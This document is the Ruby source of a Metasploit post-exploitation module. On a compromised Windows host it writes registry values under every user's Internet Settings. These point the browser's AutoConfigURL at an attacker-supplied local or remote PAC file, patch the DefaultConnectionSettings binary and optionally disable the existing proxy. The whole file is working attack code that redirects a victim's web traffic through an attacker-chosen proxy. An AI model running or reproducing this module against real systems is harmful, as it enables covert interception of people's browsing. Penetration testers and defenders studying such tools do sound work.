##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Manage Proxy PAC File',
      'Description'   => %q{
        This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
        option, a PAC file will be created on the victim host. It's also possible to provide a
        remote PAC file (REMOTE_PAC option) by providing the full URL.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
      'References'    =>
        [
          [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
          [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
        ],
      'Platform'      => 'win',
      'SessionTypes'  => [ 'meterpreter' ]
    ))

    register_options(
      [
        OptPath.new('LOCAL_PAC',     [false, 'Local PAC file.' ]),
        OptString.new('REMOTE_PAC',  [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
        OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
        OptBool.new('AUTO_DETECT',   [true, 'Automatically detect settings.', false])
      ])
  end

  def run
    if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
      print_error("You must set a remote or local PAC file. Aborting...")
      return
    end

    if datastore['REMOTE_PAC']
      @remote = true
      print_status("Setting automatic configuration script from a remote PAC file ...")
      res = enable_proxypac(datastore['REMOTE_PAC'])
      unless res
        print_error("Error while setting an automatic configuration script. Aborting...")
        return
      end
    else
      @remote = false
      print_status("Setting automatic configuration script from local PAC file ...")
      pac_file = create_pac(datastore['LOCAL_PAC'])
      unless pac_file
        print_error("There were problems creating the PAC proxy file. Aborting...")
        return
      end
      res = enable_proxypac(pac_file)
      unless res
        print_error("Error while setting an automatic configuration script. Aborting...")
        return
      end
    end

    print_good("Automatic configuration script configured...")

    if datastore['AUTO_DETECT']
      print_status("Enabling Automatically Detect Settings...")
      unless auto_detect_on
        print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
      end
    end

    if datastore['DISABLE_PROXY']
      print_status("Disabling the Proxy Server...")
      unless disable_proxy
        print_error("Failed to disable Proxy Server. Proceeding anyway...")
      end
    end
  end

  def create_pac(local_pac)
    pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
    conf_pac = ""

    if ::File.exist?(local_pac)
      conf_pac << ::File.open(local_pac, "rb").read
    else
      print_error("Local PAC file not found.")
      return false
    end

    if write_file(pac_file,conf_pac)
      print_status("PAC proxy configuration file written to #{pac_file}")
      return pac_file
    else
      return false
    end

  end

  def enable_proxypac(pac)
    proxy_pac_enabled = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"

      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      value_auto = "AutoConfigURL"
      file = (@remote) ? "#{pac}" : "file://#{pac}"

      begin
        res = registry_setvaldata(key,value_auto,file,"REG_SZ")
      rescue ::RuntimeError, Rex::TimeoutError
        next
      end

      if res.nil? # Rex::Post::Meterpreter::RequestError
        next
      end

      if change_connection(16,'05',key + '\\Connections')
        proxy_pac_enabled = true
      end
    end

    if proxy_pac_enabled
      return true
    else
      return false
    end
  end

  def auto_detect_on
    auto_detect_enabled = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
      if change_connection(16,'0D',key)
        print_good("Automatically Detect Settings on.")
        auto_detect_enabled = true
      end
    end

    if auto_detect_enabled
      return true
    else
      return false
    end
  end

  def disable_proxy
    value_enable = "ProxyEnable"
    profile = false

    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      begin
        registry_setvaldata(key,value_enable,0,"REG_DWORD")
        profile = true
      rescue ::RuntimeError, Rex::TimeoutError
        next
      end
    end

    if profile
      print_good("Proxy disabled.")
      return true
    else
      return false
    end
  end

  def change_connection(offset, value, key)
    value_default = "DefaultConnectionSettings"
    begin
      value_con = registry_getvaldata(key, value_default)
      binary_data = value_con.unpack('H*')[0]
      binary_data[offset,2] = value
      registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
    rescue ::RuntimeError, Rex::TimeoutError
      return false
    end

    return true
  end
end
